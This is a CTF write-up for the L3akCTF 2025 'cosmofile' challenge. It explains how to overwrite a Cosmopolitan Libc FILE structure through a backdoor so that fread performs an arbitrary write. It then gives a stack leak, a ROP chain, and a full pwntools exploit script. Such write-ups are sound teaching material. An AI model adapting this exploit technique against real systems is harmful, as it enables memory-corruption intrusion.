cosmofile - L3akCTF 2025

Have you ever read files? Hopefully, this will teach you how to read them. Go read the code, the Dockerfile, the fake flag, and the secrets of the universe…and the real flag, of course.

cosmofile.zip

Introduction

This challenge features a binary compiled with Cosmopolitan Libc - a build system that creates “Actually Portable Executable” binaries that run on multiple operating systems and architectures from a single file. There are no protections enabled except for NX.

The binary opens /tmp/cosmofile.txt and provides a menu with options to read from the file or exit. There’s also a hidden backdoor option 7238770 that allows writing up to 0x70 bytes directly to the FILE structure:

if (rax_10 == 0x6e7472) {
    cosmo_puts("Whoa whoa whoa... you can't just…");
    cosmo_puts("Just kidding, that's not really …");
    read(0, rax, 0x70);  // Direct write to FILE structure (rax)
}

When option 1 is selected, the program calls fread(&buf, 1, 0x1000, rax).

Exploitation

Exploit Cosmopolitan’s fread_unlocked buffering mechanism. When specific conditions are met, fread uses readv() with two iovec structures - one pointing to the user buffer and another to the FILE’s internal buffer. This allows writing to two memory locations simultaneously, enabling arbitrary writes.

Step 1: Stack Leak

By selecting option 1 initially, obtain a stack leak since the buffer isn’t initialized. The leak appears at a fixed offset in the output.

Step 2: Arbitrary Write via Buffering Trick

Overwriting the FILE structure can be used with fread. But how does that lead to an arbitrary write?

The key is in Cosmopolitan’s fread_unlocked.c. When these conditions are met:

  • f->bufmode != _IONBF (not unbuffered mode)
  • n < f->size (requested bytes < FILE buffer size)

the function sets up two iovec structures:

code segment image

Then readv(f->fd, iov, 2) writes to both locations simultaneously.

For this exploit, control these key fields in the FILE structure:

Offset  Field       Value
+0x00   bufmode     0 (_IOFBF - full buffering)
+0x04   oflags      0 (O_RDONLY)  
+0x0c   fd          0 (stdin)
+0x18   size        0x1000 + len(payload)
+0x1c   beg         0
+0x20   end         0  
+0x28   buf         target_address

By setting f->buf to the target address and f->size to be larger than the requested amount, fread will:

  1. Read 0x1000 bytes from stdin to the stack buffer
  2. Read additional bytes from stdin directly to the target address (f->buf)

This provides arbitrary write to any address.

Step 3: Ret2syscall

Since the Docker container bind-mounts /srv at /, executing /bin/sh would actually try to execute /srv/bin/sh which doesn’t exist. Instead, read the flag with open, read and write.

Thankfully, pwntools speeds up this process a lot with the rop.call function.

rop.call('open',  ['flag.txt', 0])
rop.call('read',  [4, buffer, 100])
rop.call('write', [1, buffer, 100])

Overwrite the return address of the menu function with the ROP chain.

Proof

flag image

Full exploit

#!/usr/bin/python3
from pwn import *

context.log_level = "debug"
context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "zsh", "-c"]

exe = context.binary = ELF("/home/razvan/Desktop/cosmofile-L3akCTF/cosmofile")
libc = exe.libc

def start(*pargs, **kwargs):
    if args.REMOTE:
        return remote("34.45.81.67", 16005)
    if args.GDB:
        return exe.debug(gdbscript="b*menu+0x30\ncontinue", *pargs, **kwargs)
    return exe.process(*pargs, **kwargs)

io = start(aslr=False)

####### HELPERS #######

# Trimmed to whats needed
def file_struct_trimmed(bufmode=0, freethis=0, freebuf=0, forking=0, oflags=0, 
                      state=0, fd=0, pid=0, refs=0, size=0, beg=0, end=0, buf=0):
                      
    file_struct = b''
    file_struct += p8(bufmode)
    file_struct += p8(freethis)
    file_struct += p8(freebuf)
    file_struct += p8(forking)
    file_struct += p32(oflags)
    file_struct += p32(state)
    file_struct += p32(fd)
    file_struct += p32(pid)
    file_struct += p32(refs)
    file_struct += p32(size)
    file_struct += p32(beg)
    file_struct += p32(end)
    file_struct += b'\x00' * 4
    file_struct += p64(buf)
    
    return file_struct


def arb_write(addr:int, content:bytes):
    io.sendlineafter(b"> ", b"7238770") # backdoor
    io.recvlines(2)

    fs = file_struct_trimmed(
        bufmode = 0,           # _IOFBF
        oflags  = 0,           # O_RDONLY 
        fd      = 0,           
        size    = 0x1000 + len(content),  
        beg     = 0,
        end     = 0,
        buf     = addr 
    )

    io.send(fs)

    io.sendlineafter(b"> ", b"1")
    io.recvline()
    io.send(cyclic(0x1000) + content)

####### BEGIN #######

io.sendlineafter(b"> ", b"1")
io.recvuntil(b"not here...")

raw_leak = io.recvline()
stack_leak = u64(raw_leak[2613:2613+8])

print("stack leak @ %s" % hex(stack_leak))

menu_ret = stack_leak - 0x7fffffffdb10 + 0x7fffffffcbe8

# but can't just execve /bin/sh due to the docker settings

rop = ROP(exe)

wspace = 0x42f010 # just some random addr in writable space
arb_write(wspace, b"flag.txt\x00")

rop.call('open',  [wspace, 0])
rop.call('read',  [4, wspace+0x10, 100])  
rop.call('write', [1, wspace+0x10, 100]) 
rop.call('exit',  [0]) # debug reasons

chain = rop.chain()

arb_write(menu_ret, chain)

io.interactive()